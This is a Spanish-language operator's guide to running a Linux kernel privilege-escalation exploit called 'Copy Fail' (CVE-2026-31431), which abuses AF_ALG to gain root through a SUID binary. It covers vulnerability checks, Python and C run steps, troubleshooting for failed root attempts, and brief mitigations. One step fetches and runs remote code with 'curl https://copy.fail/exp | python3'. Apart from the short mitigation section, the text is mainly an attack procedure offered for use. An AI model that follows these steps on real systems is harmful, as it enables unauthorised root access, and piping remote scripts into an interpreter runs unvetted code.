Copy Fail (CVE-2026-31431) – Guía de Uso del Exploit

⚠️ Aviso Legal

Este contenido es solo para fines educativos y de pruebas de seguridad autorizadas. NO ejecutes esto en sistemas sin permiso explícito.

📌 Resumen

Copy Fail (CVE-2026-31431) es una vulnerabilidad de Escalada de Privilegios Local (LPE) en Linux que afecta a la API criptográfica del kernel a través de AF_ALG.

Permite a un usuario sin privilegios sobrescribir los datos de la caché de páginas de un binario SUID (por ejemplo, /usr/bin/su) y obtener acceso root.

🧠 Requisitos

Requisitos del Sistema

• Kernel de Linux (vulnerable – depende del estado del parche)
• AF_ALG habilitado
• Módulo algif_aead cargado

Requisitos del Exploit en Python

• Python 3.10+
• Soporte para:
  • os.splice
  • socket(AF_ALG)

🔍 Comprobación de la Vulnerabilidad

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

Indicadores esperados:

• authencesn(hmac(sha256),cbc(aes))
• algif_aead cargado

🐍 Ejecución del Exploit en Python

1. Ejecutar directamente

python3 copy_fail_exp.py

2. O mediante curl (si está alojado de forma remota)

curl https://copy.fail/exp | python3

3. Activar la shell root

su
id

Resultado esperado:

uid=0(root)

⚠️ Problemas Comunes (Python)

❌ Error: os.splice not found

Causa:

• Versión de Python < 3.10
• Compilación restringida

Solución:

• Usa un binario de Python más reciente
• Sube un intérprete de Python estático

⚙️ Compilación de la Versión en C

1. Compilar

gcc copy_fail_exp.c -o copy_fail

2. Hacerlo ejecutable

chmod +x copy_fail

3. Ejecutar el exploit

./copy_fail
su

⚠️ Problemas Comunes (C)

❌ El exploit se ejecuta pero no obtiene root

Posibles causas:

• Kernel parcheado
• Desplazamientos incorrectos
• Entorno incompatible

❌ Errores de compilación

Instala las herramientas necesarias:

apt update && apt install build-essential

🧪 Solución de Problemas

Comprobar si el sistema está parcheado

dmesg | grep -i alg

Verificar el módulo

lsmod | grep algif_aead

🛡️ Mitigación

Deshabilitar el módulo vulnerable

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

Aplicar el parche del kernel

Actualiza tu sistema:

apt update && apt upgrade

📌 Notas

• El exploit modifica solo la caché de páginas (no persistente)
• Requiere acceso local
• No explotable de forma remota por defecto

🧠 Reflexión Final

Si el exploit falla, considera:

• Kernel ya parcheado
• Restricciones del entorno
• Vectores alternativos de escalada de privilegios (SUID, capacidades, mala configuración de sudo)

📚 Referencias

• https://copy.fail/
• CVE-2026-31431

👨‍💻 Notas del Autor

Usa este exploit de forma responsable únicamente en laboratorios, CTFs y pruebas de penetración autorizadas.